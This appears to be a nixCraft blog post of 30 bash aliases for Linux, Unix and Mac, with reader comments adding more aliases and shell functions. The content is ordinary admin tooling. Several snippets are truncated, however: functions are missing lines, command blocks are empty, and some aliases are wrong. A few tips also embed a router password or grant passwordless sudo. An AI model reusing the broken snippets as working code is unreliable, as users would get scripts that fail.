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30 Handy Bash Shell Aliases For Linux / Unix / Mac OS X

An alias is nothing but shortcut to commands. The alias command allows user to launch any command or group of commands (including options and filenames) by entering a single word. Use alias command to display list of all defined aliases. You can add user defined aliases to ~/.bashrc file. You can cut down typing time with these aliases, work smartly, and increase productivity at the command prompt.

More about aliases

The general syntax for the alias command for the bash shell is as follows.

Task: List aliases

Type the following command:


Sample outputs:

alias ..='cd ..'
alias amazonbackup='s3backup'
alias apt-get='sudo apt-get'

By default alias command shows a list of aliases that are defined for the current user.

Task: Define / create an alias (bash syntax)

To create the alias use the following syntax:

alias name=value
alias name='command'
alias name='command arg1 arg2'
alias name='/path/to/script'
alias name='/path/to/script.pl arg1'

In this example, create the alias c for the commonly used clear command, which clears the screen, by typing the following command and then pressing the ENTER key:

alias c='clear'

Then, to clear the screen, instead of typing clear, you would only have to type the letter 'c' and press the [ENTER] key:


Task: Disable an alias temporarily (bash syntax)

An alias can be disabled temporarily using the following syntax:

## path/to/full/command
## call alias with a backslash ##

Task: Remove an alias (bash syntax)

You need to use the command called unalias to remove aliases. Its syntax is as follows:

unalias aliasname

In this example, remove the alias c which was created in an earlier example:

unalias c

You also need to delete the alias from the ~/.bashrc file using a text editor (see next section).

Task: Make aliases permanent (bash syntax)

The alias c remains in effect only during the current login session. Once you logs out or reboot the system the alias c will be gone. To avoid this problem, add alias to your ~/.bashrc file, enter:

vi ~/.bashrc

The alias c for the current user can be made permanent by entering the following line:

alias c='clear'

Save and close the file. System-wide aliases (i.e. aliases for all users) can be put in the /etc/bashrc file. Please note that the alias command is built into a various shells including ksh, tcsh/csh, ash, bash and others.

A note about privileged access

You can add code as follows in ~/.bashrc:

# if user is not root, pass all commands via sudo #
if [ $UID -ne 0 ]; then
    alias reboot='sudo reboot'
    alias update='sudo apt-get upgrade'

A note about os specific aliases

You can add code as follows in ~/.bashrc using the case statement:

### Get os name via uname ###
### add alias as per os using $_myos ###
case $_myos in
   Linux) alias foo='/path/to/linux/bin/foo';;
   FreeBSD|OpenBSD) alias foo='/path/to/bsd/bin/foo' ;;
   SunOS) alias foo='/path/to/sunos/bin/foo' ;;
   *) ;;

30 uses for aliases

You can define various types aliases as follows to save time and increase productivity.

#1: Control ls command output

The ls command lists directory contents and you can colorize the output:

## Colorize the ls output ##
alias ls='ls --color=auto'
## Use a long listing format ##
alias ll='ls -la'
## Show hidden files ##
alias l.='ls -d .* --color=auto'

#2: Control cd command behavior

## get rid of command not found ##
alias cd..='cd ..'
## a quick way to get out of current directory ##
alias ..='cd ..'
alias ...='cd ../../../'
alias ....='cd ../../../../'
alias .....='cd ../../../../'
alias .4='cd ../../../../'
alias .5='cd ../../../../..'

#3: Control grep command output

grep command is a command-line utility for searching plain-text files for lines matching a regular expression:

## Colorize the grep command output for ease of use (good for log files)##
alias grep='grep --color=auto'
alias egrep='egrep --color=auto'
alias fgrep='fgrep --color=auto'

#4: Start calculator with math support

alias bc='bc -l'

#4: Generate sha1 digest

alias sha1='openssl sha1'

#5: Create parent directories on demand

mkdir command is used to create a directory:

alias mkdir='mkdir -pv'

#6: Colorize diff output

You can compare files line by line using diff and use a tool called colordiff to colorize diff output:

# install  colordiff package :)
alias diff='colordiff'

#7: Make mount command output pretty and human readable format

alias mount='mount |column -t'

#8: Command short cuts to save time

# handy short cuts #
alias h='history'
alias j='jobs -l'

#9: Create a new set of commands

alias path='echo -e ${PATH//:/\\n}'
alias now='date +"%T"'
alias nowtime=now
alias nowdate='date +"%d-%m-%Y"'

#10: Set vim as default

alias vi=vim
alias svi='sudo vi'
alias vis='vim "+set si"'
alias edit='vim'

#11: Control output of networking tool called ping

# Stop after sending count ECHO_REQUEST packets #
alias ping='ping -c 5'
# Do not wait interval 1 second, go fast #
alias fastping='ping -c 100 -s.2'

#12: Show open ports

Use netstat command to quickly list all TCP/UDP port on the server:

alias ports='netstat -tulanp'

#13: Wakeup sleeping servers

Wake-on-LAN (WOL) is an Ethernet networking standard that allows a server to be turned on by a network message. You can quickly wakeup nas devices and server using the following aliases:

## replace mac with your actual server mac address #
alias wakeupnas01='/usr/bin/wakeonlan 00:11:32:11:15:FC'
alias wakeupnas02='/usr/bin/wakeonlan 00:11:32:11:15:FD'
alias wakeupnas03='/usr/bin/wakeonlan 00:11:32:11:15:FE'

#14: Control firewall (iptables) output

Netfilter is a host-based firewall for Linux operating systems. It is included as part of the Linux distribution and it is activated by default. This post list most common iptables solutions required by a new Linux user to secure his or her Linux operating system from intruders.

## shortcut  for iptables and pass it via sudo#
alias ipt='sudo /sbin/iptables'
# display all rules #
alias iptlist='sudo /sbin/iptables -L -n -v --line-numbers'
alias iptlistin='sudo /sbin/iptables -L INPUT -n -v --line-numbers'
alias iptlistout='sudo /sbin/iptables -L OUTPUT -n -v --line-numbers'
alias iptlistfw='sudo /sbin/iptables -L FORWARD -n -v --line-numbers'
alias firewall=iptlist

#15: Debug web server / cdn problems with curl

# get web server headers #
alias header='curl -I'
# find out if remote server supports gzip / mod_deflate or not #
alias headerc='curl -I --compress'

#16: Add safety nets

# do not delete / or prompt if deleting more than 3 files at a time #
alias rm='rm -I --preserve-root'
# confirmation #
alias mv='mv -i'
alias cp='cp -i'
alias ln='ln -i'
# Parenting changing perms on / #
alias chown='chown --preserve-root'
alias chmod='chmod --preserve-root'
alias chgrp='chgrp --preserve-root'

#17: Update Debian Linux server

apt-get command is used for installing packages over the internet (ftp or http). You can also upgrade all packages in a single operations:

# distro specific  - Debian / Ubuntu and friends #
# install with apt-get
alias apt-get="sudo apt-get"
alias updatey="sudo apt-get --yes"
# update on one command 
alias update='sudo apt-get update && sudo apt-get upgrade'

#18: Update RHEL / CentOS / Fedora Linux server

yum command is a package management tool for RHEL / CentOS / Fedora Linux and friends:

## distrp specifc RHEL/CentOS ##
alias update='yum update'
alias updatey='yum -y update'

#19: Tune sudo and su

# become root #
alias root='sudo -i'
alias su='sudo -i'

#20: Pass halt/reboot via sudo

shutdown command bring the Linux / Unix system down:

# reboot / halt / poweroff
alias reboot='sudo /sbin/reboot'
alias poweroff='sudo /sbin/poweroff'
alias halt='sudo /sbin/halt'
alias shutdown='sudo /sbin/shutdown'

#21: Control web servers

# also pass it via sudo so whoever is admin can reload it without calling you #
alias nginxreload='sudo /usr/local/nginx/sbin/nginx -s reload'
alias nginxtest='sudo /usr/local/nginx/sbin/nginx -t'
alias lightyload='sudo /etc/init.d/lighttpd reload'
alias lightytest='sudo /usr/sbin/lighttpd -f /etc/lighttpd/lighttpd.conf -t'
alias httpdreload='sudo /usr/sbin/apachectl -k graceful'
alias httpdtest='sudo /usr/sbin/apachectl -t && /usr/sbin/apachectl -t -D DUMP_VHOSTS'

#22: Alias into our backup stuff

# if cron fails or if you want backup on demand just run these commands # 
# again pass it via sudo so whoever is in admin group can start the job #
# Backup scripts #
alias backup='sudo /home/scripts/admin/scripts/backup/wrapper.backup.sh --type local --taget /raid1/backups'
alias nasbackup='sudo /home/scripts/admin/scripts/backup/wrapper.backup.sh --type nas --target nas01'
alias s3backup='sudo /home/scripts/admin/scripts/backup/wrapper.backup.sh --type nas --target nas01 --auth /home/scripts/admin/.authdata/amazon.keys'
alias rsnapshothourly='sudo /home/scripts/admin/scripts/backup/wrapper.rsnapshot.sh --type remote --target nas03 --auth /home/scripts/admin/.authdata/ssh.keys --config /home/scripts/admin/scripts/backup/config/adsl.conf'
alias rsnapshotdaily='sudo  /home/scripts/admin/scripts/backup/wrapper.rsnapshot.sh --type remote --target nas03 --auth /home/scripts/admin/.authdata/ssh.keys  --config /home/scripts/admin/scripts/backup/config/adsl.conf'
alias rsnapshotweekly='sudo /home/scripts/admin/scripts/backup/wrapper.rsnapshot.sh --type remote --target nas03 --auth /home/scripts/admin/.authdata/ssh.keys  --config /home/scripts/admin/scripts/backup/config/adsl.conf'
alias rsnapshotmonthly='sudo /home/scripts/admin/scripts/backup/wrapper.rsnapshot.sh --type remote --target nas03 --auth /home/scripts/admin/.authdata/ssh.keys  --config /home/scripts/admin/scripts/backup/config/adsl.conf'
alias amazonbackup=s3backup

#23: Desktop specific - play avi/mp3 files on demand

## play video files in a current directory ##
# cd ~/Download/movie-name 
# playavi or vlc 
alias playavi='mplayer *.avi'
alias vlc='vlc *.avi'
# play all music files from the current directory #
alias playwave='for i in *.wav; do mplayer "$i"; done'
alias playogg='for i in *.ogg; do mplayer "$i"; done'
alias playmp3='for i in *.mp3; do mplayer "$i"; done'
# play files from nas devices #
alias nplaywave='for i in /nas/multimedia/wave/*.wav; do mplayer "$i"; done'
alias nplayogg='for i in /nas/multimedia/ogg/*.ogg; do mplayer "$i"; done'
alias nplaymp3='for i in /nas/multimedia/mp3/*.mp3; do mplayer "$i"; done'
# shuffle mp3/ogg etc by default #
alias music='mplayer --shuffle *'

#24: Set default interfaces for sys admin related commands

vnstat is console-based network traffic monitor. dnstop is console tool to analyze DNS traffic. tcptrack and iftop commands displays information about TCP/UDP connections it sees on a network interface and display bandwidth usage on an interface by host respectively.

## All of our servers eth1 is connected to the Internets via vlan / router etc  ##
alias dnstop='dnstop -l 5  eth1'
alias vnstat='vnstat -i eth1'
alias iftop='iftop -i eth1'
alias tcpdump='tcpdump -i eth1'
alias ethtool='ethtool eth1'
# work on wlan0 by default #
# Only useful for laptop as all servers are without wireless interface
alias iwconfig='iwconfig wlan0'

#25: Get system memory, cpu usage, and gpu memory info quickly

## pass options to free ## 
alias meminfo='free -m -l -t'
## get top process eating memory
alias psmem='ps auxf | sort -nr -k 4'
alias psmem10='ps auxf | sort -nr -k 4 | head -10'
## get top process eating cpu ##
alias pscpu='ps auxf | sort -nr -k 3'
alias pscpu10='ps auxf | sort -nr -k 3 | head -10'
## Get server cpu info ##
alias cpuinfo='lscpu'
## older system use /proc/cpuinfo ##
##alias cpuinfo='less /proc/cpuinfo' ##
## get GPU ram on desktop / laptop## 
alias gpumeminfo='grep -i --color memory /var/log/Xorg.0.log'

#26: Control Home Router

The curl command can be used to reboot Linksys routers.

# Reboot my home Linksys WAG160N / WAG54 / WAG320 / WAG120N Router / Gateway from *nix.
alias rebootlinksys="curl -u 'admin:my-super-password' ''"
# Reboot tomato based Asus NT16 wireless bridge 
alias reboottomato="ssh admin@ /sbin/reboot"

#27 Resume wget by default

The GNU Wget is a free utility for non-interactive download of files from the Web. It supports HTTP, HTTPS, and FTP protocols, and it can resume downloads too:

## this one saved by butt so many times ##
alias wget='wget -c'

#28 Use different browser for testing website

## this one saved by butt so many times ##
alias ff4='/opt/firefox4/firefox'
alias ff13='/opt/firefox13/firefox'
alias chrome='/opt/google/chrome/chrome'
alias opera='/opt/opera/opera'
#default ff 
alias ff=ff13
#my default browser 
alias browser=chrome

#29: A note about ssh alias

Do not create ssh alias, instead use ~/.ssh/config OpenSSH SSH client configuration files. It offers more option. An example:

Host server10
  IdentityFile ~/backups/.ssh/id_dsa
  user foobar
  Port 30000
  ForwardX11Trusted yes
  TCPKeepAlive yes

You can now connect to peer1 using the following syntax:
$ ssh server10

#30: It's your turn to share...

## set some other defaults ##
alias df='df -H'
alias du='du -ch'
# top is atop, just like vi is vim
alias top='atop'
## nfsrestart  - must be root  ##
## refresh nfs mount / cache etc for Apache ##
alias nfsrestart='sync && sleep 2 && /etc/init.d/httpd stop && umount netapp2:/exports/http && sleep 2 && mount -o rw,sync,rsize=32768,wsize=32768,intr,hard,proto=tcp,fsc natapp2:/exports /http/var/www/html &&  /etc/init.d/httpd start'
## Memcached server status  ##
alias mcdstats='/usr/bin/memcached-tool stats'
alias mcdshow='/usr/bin/memcached-tool display'
## quickly flush out memcached server ##
alias flushmcd='echo "flush_all" | nc 11211'
## Remove assets quickly from Akamai / Amazon cdn ##
alias cdndel='/home/scripts/admin/cdn/purge_cdn_cache --profile akamai'
alias amzcdndel='/home/scripts/admin/cdn/purge_cdn_cache --profile amazon'
## supply list of urls via file or stdin
alias cdnmdel='/home/scripts/admin/cdn/purge_cdn_cache --profile akamai --stdin'
alias amzcdnmdel='/home/scripts/admin/cdn/purge_cdn_cache --profile amazon --stdin'


This post summaries several types of uses for *nix bash aliases:

  1. Setting default options for a command (e.g. set eth0 as default option - alias ethtool='ethtool eth0' ).
  2. Correcting typos (cd.. will act as cd .. via alias cd..='cd ..').
  3. Reducing the amount of typing.
  4. Setting the default path of a command that exists in several versions on a system (e.g. GNU/grep is located at /usr/local/bin/grep and Unix grep is located at /bin/grep. To use GNU grep use alias grep='/usr/local/bin/grep' ).
  5. Adding the safety nets to Unix by making commands interactive by setting default options. (e.g. rm, mv, and other commands).
  6. Compatibility by creating commands for older operating systems such as MS-DOS or other Unix like operating systems (e.g. alias del=rm ).

I've shared my aliases that I used over the years to reduce the need for repetitive command line typing. If you know and use any other bash/ksh/csh aliases that can reduce typing, share below in the comments.

See also
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{ 149 comments… add one }

  • mchris June 11, 2012, 6:37 am

    Nice list; found a couple new things I never thought of. To return the favor; my addon..

    A nice shell is key in bash imo; I color code my next line based on previous commands return code..

        prevCmd=$(prevCmd $RTN)
        if [ $1 == 0 ] ; then
            echo $GREEN
            echo $RED
    if [ $(tput colors) -gt 0 ] ; then
        RED=$(tput setaf 1)
        GREEN=$(tput setaf 2)
        RST=$(tput op)
    export PS1="\[\e[36m\]\u.\h.\W\[\e[0m\]\[\$prevCmd\]>\[$RST\]"

    And I liked your .{1,2,3,4} mapping; how I integrated it…

    for i in 1 2 3 4
        alias $baseName="cd ${dotSlash}"

    And two random quick short ones..

    #progress bar on file copy. Useful evenlocal.
    alias cpProgress="rsync --progress -ravz"
    #I find it useful when emailing blurbs to people and want to illustrate long timeout in one pass.
    alias ping="time ping"
    • Scott Rowley March 22, 2013, 2:15 pm

      The following is my version of the “up function” I came up with this morning:

      # Functions
      up () {
              while [[ $COUNTER -gt 0 ]]
                COUNTER=$(( $COUNTER -1 ))
              echo "cd $UP"
              cd $UP
  • linuxnetzer June 11, 2012, 6:45 am

    Show text file without comment (#) lines (Nice alias for /etc files which have tons of comments like /etc/squid.conf)

    alias nocomment='grep -Ev '\''^(#|$)'\'''

    Usage e.g.:

    nocomment /etc/squid.conf
  • nixCraft June 11, 2012, 6:58 am

    @linuxnetzer, nocommand is nice to dump squid, httpd and many others config files.

    @mchris, I liked cp alias that can show progress.

    Appreciate your comments.

  • Tom Ryder June 11, 2012, 6:58 am

    Ctrl+L is also a nice quick way to clear the terminal.

  • TooManySecrets June 11, 2012, 7:32 am

    This isn’t an alias, but for clear screen is very handy the CTRL+L xDD

    Have a nice day ;-)

  • Sean June 11, 2012, 8:01 am

    One that I find useful is:

    alias du1='du -d 1'
  • Sergio Luiz Araujo Silva June 11, 2012, 10:12 am

    apt-get with limit

    alias apt-get="apt-get -o Acquire::http::Dl-Limit=15"

    To open last edited file

    alias lvim="vim -c \"normal '0\""
    • Tales Teixeira January 11, 2013, 1:55 am

      Try !vim

  • Sdaiy June 11, 2012, 12:34 pm

    Nice list. Never knew about some of these aliases and commands.

  • satish June 11, 2012, 1:23 pm

    good list, an alias I use commonly
    ll “ls -l”

  • oll June 11, 2012, 2:31 pm

    Nice tricks.
    But be careful with some aliases (typically the #7 mount), since you won’t be able to use them directly when you pass arguments .

    [root@myhost ~]# alias mount=’mount |column -t’
    [root@myhost ~]# mount myserver:/share /mnt
    column: myserver:/share: No such file or directory

    It’s better to use scripts whith these kinds of commands

    • Fumando_Espero January 8, 2013, 2:32 pm

      You are very right in your appreciation. An alias is a “dumb” substitution in that it doesn’t interpret arguments.

    • booczczu May 10, 2013, 3:19 pm

      Do it this way:

      alias mountt=’mount |column -t’

      (note the double “t”) and than you can use the original mount command to do its job.

  • mchris June 11, 2012, 2:47 pm

    In reply to comment of “Reopen last edited file in vim”, alternative recommendation that will be more portable to other uses…


    Can also use history here; if you edited /etc/host 4 files ago; you can just type host and you’re good to go. Works with all commands; I use it constantly.

    (Also, is also incredibly useful. Also accepts direct place in previous commands)

  • Rob June 11, 2012, 3:05 pm

    Don’t forget… sl=”ls”. Though Steam Locomotive is funny for a while, this is always the easier solution.

  • nixCraft June 11, 2012, 4:49 pm


    \mount myserver:/share /mnt

    And you are done with it. No need to write scripts.

  • esritter June 11, 2012, 5:22 pm

    My bashrc has been with me for over a decade. I love to tinker and modify it a bunch, so I’ve added an alias I borrowed/stole/ganked from someone ages ago:

    alias='$EDITOR ~/.bashrc ; source ~/.bashrc'
    • mikaere66 April 1, 2013, 7:17 pm

      Hi esritter … I’m relatively new to Linux, so I don’t understand your alias. Can you please explain?

      • danneu April 10, 2013, 6:45 am

        A more explicit version of that alias (that I use) would look like:

        alias bashrc="vim ~/.bashrc && source ~/.bashrc

        Basically, it runs `source` for you once you save&exit the file. `source` picks up changes in the file.

      • jkirchartz June 3, 2013, 5:45 pm

        this will open ~/.bashrc in your $EDITOR (which should be set to vim/emacs something) then re-load the ~/.bashrc so your tweaks are available immediately.

  • Babu June 12, 2012, 3:33 am

    Like it ! Thanks.

  • Honeypuck June 12, 2012, 3:39 am

    Nice commands!
    In case you would like to be shown the contents of a directory immediately after moving to it by cd DIRECTORY you could define the following function in .bashrc:

    cdl()    {
      ls -al;
    You can modify the options of ls to meet your needs of course. Next time you switch directories on the command line with 'cdl DIRECTORY' it will automatically execute the command 'ls -al', displaying all subdirectories and files (hidden ones as well when setting the option -a). I hope this will be useful for someone. In case you like the alias, do not forget to change
    alias ..='cd ..'
    alias ..='cdl ..'

    • sky January 6, 2015, 7:09 pm

      It is really useful but how do you using this on the alias line….
      alias …….= ‘………………………..’

  • Rishi G June 12, 2012, 4:01 am

    Here are 4 commands i use for checking out disk usages.

    #Grabs the disk usage in the current directory
    alias usage='du -ch | grep total'
    #Gets the total disk usage on your machine
    alias totalusage='df -hl --total | grep total'
    #Shows the individual partition usages without the temporary memory values
    alias partusage='df -hlT --exclude-type=tmpfs --exclude-type=devtmpfs'
    #Gives you what is using the most space. Both directories and files. Varies on
    #current directory
    alias most='du -hsx * | sort -rh | head -10'
    • shadowbq December 17, 2012, 2:08 pm

      usage is better written as

      alias usage=’du -ch 2> /dev/null |tail -1′

    • Mark January 12, 2013, 6:08 pm

      Thank you all for your aliases.
      I found this one long time ago and it proved to be useful.

      # shoot the fat ducks in your current dir and sub dirs
      alias ducks=’du -ck | sort -nr | head’

    • Karsten July 17, 2013, 9:30 pm

      While it would still work, the problem with usage=’du -ch | grep total’ is that you will also get directory names that happen to also have the word ‘total’ in them.

      A better way to do this might be: ‘du -ch | tail -1’

      • Karsten July 17, 2013, 9:57 pm

        Over dinner I thought to myself “hmm, what if I want to use the total in a script?” and came up with this in mid entrée:

        du -h | awk ‘END{print $1}’

        Now you’ll just get something like: 92G

  • James C. Woodburn June 12, 2012, 11:45 am

    I always create a ps2 command that I can easily pass a string to and look for it in the process table. I even have it remove the grep of the current line.

    alias ps2=’ps -ef | grep -v $$ | grep -i ‘

    • sbin_bash March 26, 2013, 1:14 pm

      with header:

      alias psg=’ps -Helf | grep -v $$ | grep -i -e WCHAN -e ‘

  • Juanma June 12, 2012, 12:45 pm

    Nice post. Thanks.
    @oll & Vivek: I’m sure you know this, but to leave trace of it in this page I’ll mention that, at least in Bash, you have functions as a compromise between aliases and scripts. In fact, I solved a similar situation to what is described in #7 with a function:
    I keep some files under version control, hard-linking to those files into a given folder, so I want find to ignore that folder, and I don’t want to re-think and re-check how to use prune option every time:

    function f {
    	arg_path=$1 && shift
    	find $arg_path -wholename "*/path-to-ignore/*" -prune -o $* -print
  • hhanff June 12, 2012, 2:15 pm

    # This will move you up by one dir when pushing AltGr .
    # It will move you back when pushing AltGr Shift .
    bind ‘”…”:”pushd ..\n”‘ # AltGr .
    bind ‘”÷”:”popd\n”‘ # AltGr Shift .


  • Bill C. June 12, 2012, 4:58 pm

    One more thing to keep in mind is the difference in syntax between shells. I used to work on a system that used HP-UX and Sun Solaris, and the alias commands were different. One system used
    alias ll=’ls -l’
    and the other one (I can’t remember which was which, sorry) was
    alias ll ‘ls -l’

    Something to be aware of!

    Thanks for this article and the site, V! Keep ’em coming!

  • old486whizz June 12, 2012, 5:16 pm

    I would use a function for df:
    df () {
    if [[ “$1” = “-gt” ]]; then
    x=$x” $@”
    /bin/df $x -P |column -t

    That way you can put “df -k /tmp” (etc).
    … I work with AIX a lot, so often end up typing “df -gt”, so that’s why the if statement is there.

    I also changed “mount” to “mnt” for the column’s:
    alias mnt=”mount |column -t”

  • Art Protin June 12, 2012, 9:53 pm

    Any alias of rm is a very stupid idea (except maybe alias rm=echo fool).

    A co-worker had such an alias. Imagine the disaster when, visiting a customer site, he did “rm *” in the customer’s work directory and all he got was the prompt for the next command after rm had done what it was told to do.

    It you want a safety net, do “alias del=’rm -I –preserve_root'”,

    • Drew Hammond March 26, 2014, 7:41 pm

      ^ This x10000.

      I’ve made the same mistake before and its horrible.

  • Opt June 13, 2012, 12:22 am

    Great post I’ve been looking for something like this I always tend to go about things the long way round. With these alias and some shell scripting I’m really starting to cut down on wasted time!

    Thanks again!

  • Blue Thing June 13, 2012, 6:19 am

    I use this one when I need to find the files that has been added/modified most recently:

    alias lt=’ls -alrt’

  • tef June 14, 2012, 4:56 pm
    # file tree
    alias tree="find . -print | sed -e 's;[^/]*/;|____;g;s;____|; |;g'"
    #turn screen off
    alias screenoff="xset dpms force off"
    # list folders by size in current directory
    alias usage="du -h --max-depth=1 | sort -rh"
    # e.g., up -> go up 1 directory
    # up 4 -> go up 4 directories
        if [[ $1 =~ ^[0-9]+$ ]]; then
            while [ $x -lt ${1:-1} ]; do
        cd "$dir";
  • tef June 14, 2012, 7:38 pm

    might be a repost, oops

    # ganked these from people
    #not an alias, but I thought this simpler than the cd control
    #If you pass no arguments, it just goes up one directory.
    #If you pass a numeric argument it will go up that number of directories.
    #If you pass a string argument, it will look for a parent directory with that name and go up to it.
        if [ -z "$1" ]; then
        elif [[ $1 =~ ^[0-9]+$ ]]; then
            while [ $x -lt ${1:-1} ]; do
        cd "$dir";
    #turn screen off
    alias screenoff="xset dpms force off"
    #quick file tree
    alias filetree="find . -print | sed -e 's;[^/]*/;|____;g;s;____|; |;g'"
  • em June 20, 2012, 5:31 am

    a little mistake, not really important if you don’t copy/paste like a dumbass :-)

    alias iptlistfw=’sudo /sbin/iptables -L FORWORD -n -v –line-numbers’

    it is “FORWARD”, not “FORWORD”

  • nixCraft June 20, 2012, 6:34 am


    Thanks for the heads up.

  • nishanth July 20, 2012, 4:38 am

    In “Task: Disable an alias temporarily (bash syntax)”

    ## path/to/full/command


    ## call alias with a backslash ##

    \c ===> This should be \clear right?

    • Biocyberman October 22, 2012, 9:07 am


      Previously he set the alias:
      alias c=’clear’
      so \c is correct.

      • O-Deka-K March 12, 2013, 3:34 pm

        True, but unless you have a program called ‘c’, this doesn’t do anything useful. The example doesn’t really illustrate the point. This one is better:

        ## Interactive remove
        alias rm='rm -i'
        ## Call the alias (interactive remove)
        ## Call the original command (non-interactive remove)
  • kioopi November 26, 2012, 9:55 am
    alias tgrep='rgrep --binary-files=without-match'
    alias serve='python -m SimpleHTTPServer'
  • Mac Maha November 27, 2012, 9:58 am

    I used it this way.
    I added myself to visudo file with nopasswd privileges.
    so that I don’t have to type password when I do “sudo su -“.
    Then created alias root=’sudo su -‘
    This enables me to log in to root with just “root”.

    by the ways the article is very helpful for everyone who works on linux servers or desktops on everyday basis.
    Mac Maha.

  • Larry Helms December 2, 2012, 11:00 pm

    I move across various *nix type OSes. I have found that it’s easiest to keep my login stuff (aliases & environment variables) in separate files as in .aliases-{OS}. E.g.:


    All I have to do then in .bashrc, or .profile, whatever is do this:

    OS=$( uname | tr '[:upper:]' ':[lower:]')
    . $HOME/.aliases-${OS}
    . $HOME/.environment_variables-${OS}


    for SCRIPT in $( ls -1 $HOME/scripts/login/*-${OS} )
      . ${SCRIPT}
    • EW1(SG) January 1, 2013, 3:38 pm

      And Larry wins the thread going away!

  • Martin December 4, 2012, 9:31 am

    i have 2 more that haven’t been posted yet:

    helps with copy and pasting to and from a terminal using X and the mouse. (i chose the alias name according to what the internet said the corresponding macos commands are.)

    alias pbcopy='xsel --clipboard --input'
    alias pbpaste='xsel --clipboard --output'

    and something I use rather frequently when people chose funny file/directory names (sad enough):

    chr() {
      printf \\$(printf '%03o' $1)
    ord() {
      printf '%d' "'$1"
    • Martin December 4, 2012, 9:33 am

      the pb* aliases are especially for piping output to the clipboard and vice versa

  • Tom December 20, 2012, 2:18 pm

    That was a great list. Here are some of mine:

    I use cdbin to cd into a bin folder that is many subdirectories deep:

    alias cdbin='cd "/mnt/shared/Dropbox/My Documents/Linux/bin/"'

    I can never remember the sync command.

    alias flush=sync

    I search the command history a lot:

    alias hg='history|grep '

    My samba share lives inside a TrueCrypt volume, so I have to manually restart samba after TC has loaded.

    alias restsmb='sudo service smb restart'

    I’m surprised that nobody else suggested these:

    alias syi='sudo yum install'
    alias sys='sudo yum search'
  • zork January 16, 2013, 4:59 pm

    I find these aliases are helpful

    alias up1="cd .."
    # edit multiple files split horizontally or vertically
    alias   e="vim -o "
    alias   E="vim -O "
    # directory-size-date (remove the echo/blank line if you desire)
    alias dsd="echo;ls -Fla"
    alias   dsdm="ls -FlAh | more"
    # show directories only
    alias   dsdd="ls -FlA | grep :*/"
    # show executables only
    alias   dsdx="ls -FlA | grep \*"
    # show non-executables
    alias   dsdnx="ls -FlA | grep -v \*"
    # order by date
    alias   dsdt="ls -FlAtr "
    # dsd plus sum of file sizes
    alias   dsdz="ls -Fla $1 $2 $3 $4 $5  | awk '{ print; x=x+\$5 } END { print \"total bytes = \",x }'"
    # only file without an extension
    alias noext='dsd | egrep -v "\.|/"'
    # send pwd to titlebar in puttytel
    alias   ttb='echo -ne "33]0;`pwd`07"'
    # send parameter to titlebar if given, else remove certain paths from pwd
    alias   ttbx="titlebar"
    # titlebar
    if [ $# -lt 1 ]
        ttb=`pwd | sed -e 's+/projects/++' -e 's+/project01/++' -e 's+/project02/++' -e 's+/export/home/++' -e 's+/home/++'`
    echo -ne "33]0;`echo $ttb`07"
    alias machine="echo you are logged in to ... `uname -a | cut -f2 -d' '`"
    alias info='clear;machine;pwd'
  • Tom Hand January 18, 2013, 5:47 am

    A couple you might mind useful.

    alias trace='mtr --report-wide --curses $1'
    alias killtcp='sudo ngrep -qK 1 $1 -d wlan0'
    alias usage='ifconfig wlan0 | grep 'bytes''
    alias connections='sudo lsof -n -P -i +c 15'
  • pidegat January 25, 2013, 7:24 pm

    to avoid some history aliases, ctrl+R and type letter of your desired command in history. When I discover ctrl+R my life changed !

    • ken February 16, 2015, 4:41 pm

      OMG! Thanks!

  • nyuszika7h February 7, 2013, 4:43 pm

    You should check $EUID, not $UID, because if the effective user ID isn’t 0, you aren’t root, but if the real/saved user UID is 0, you can seteuid(0) to become root.

  • nyuszika7h February 7, 2013, 4:47 pm

    Reply to Tom (#42):

    (1) Using `hg’ for `history –grep’ is probably not a good idea if you’re ever going to work with Mercurial SCM.

    (2) Using sudo for `yum search’ is entirely pointless, you don’t need to be root to search the package cache.

  • Karthik February 14, 2013, 10:12 am
    alias up1="cd .."
    # edit multiple files split horizontally or vertically
    alias   e="vim -o "
    alias   E="vim -O "
    # directory-size-date (remove the echo/blank line if you desire)
    alias dsd="echo;ls -Fla"
    alias   dsdm="ls -FlAh | more"
    # show directories only
    alias   dsdd="ls -FlA | grep :*/"
    # show executables only
    alias   dsdx="ls -FlA | grep \*"
    # show non-executables
    alias   dsdnx="ls -FlA | grep -v \*"
    # order by date
    alias   dsdt="ls -FlAtr "
    # dsd plus sum of file sizes
    alias   dsdz="ls -Fla $1 $2 $3 $4 $5  | awk '{ print; x=x+\$5 } END { print \"total bytes = \",x }'"
    # only file without an extension
    alias noext='dsd | egrep -v "\.|/"'
    # send pwd to titlebar in puttytel
    alias   ttb='echo -ne "33]0;`pwd`07"'
    # send parameter to titlebar if given, else remove certain paths from pwd
    alias   ttbx="titlebar"
    # titlebar
    if [ $# -lt 1 ]
        ttb=`pwd | sed -e 's+/projects/++' -e 's+/project01/++' -e 's+/project02/++' -e 's+/export/home/++' -e 's+/home/++'`
    echo -ne "33]0;`echo $ttb`07"
    alias machine="echo you are logged in to ... `uname -a | cut -f2 -d' '`"
    alias info='clear;machine;pwd'
    • Benito November 3, 2014, 5:05 am

      I will add:

      # file tree of directories only
      alias dirtree="ls -R | grep :*/ | grep ":$" | sed -e 's/:$//' -e 's/[^-][^\/]*\//--/g' -e 's/^/   /' -e 's/-/|/'"
  • John Ko February 15, 2013, 10:57 pm

    I’m surprised no one has mentioned:
    alias ls=’ls -F’
    It will show * after executables, / after directories and @ after links.

    • zork March 25, 2013, 6:03 pm

      John (Ko),

      The variations of dsd that I gave all include -F

      Give them a try.

  • John Ko February 15, 2013, 11:01 pm

    And for you vi(m) lovers out there, in my .bashrc:
    set -o vi

    esc j,k for searching history using vi semantics. edit line using w, dw, b, F or whatever other as if in vi. Occasionally need to watch that if in command mode, need to press i first so you can actually go back to inserting as opposed to not seeing anything as you attempt to type.
    set -o emacs
    to get back out of this mode if you want to restore it what others have used.

  • Erin February 16, 2013, 7:44 am

    Here are some tidbits I’ve setup to help troubleshoot things quickly

    This one pings a router quickly

    alias pr=”ping \`netstat -nr| grep -m 1 -iE ‘default|’ | awk ‘{print \$2}’\`”

    This export puts the current subnet as a variable (assuming class C) for easy pinging or nmaping

    export SN=`netstat -nr| grep -m 1 -iE ‘default|’ | awk ‘{print \$2}’ | sed ‘s/\.[0-9]*$//’ `
    ping $SN.254
    nmap -p 80 $SN.*

    This command which I just named ‘p’ will call ping and auto populate your current subnet. You’d call it like this to ping the router p 1

    [ “$#” -eq 1 ] || exit “1 argument required, $# provided”
    echo $1 | grep -E -q ‘^[0-9]+$’ || exit “Numeric argument required, $1 provided”
    export HOST=$1
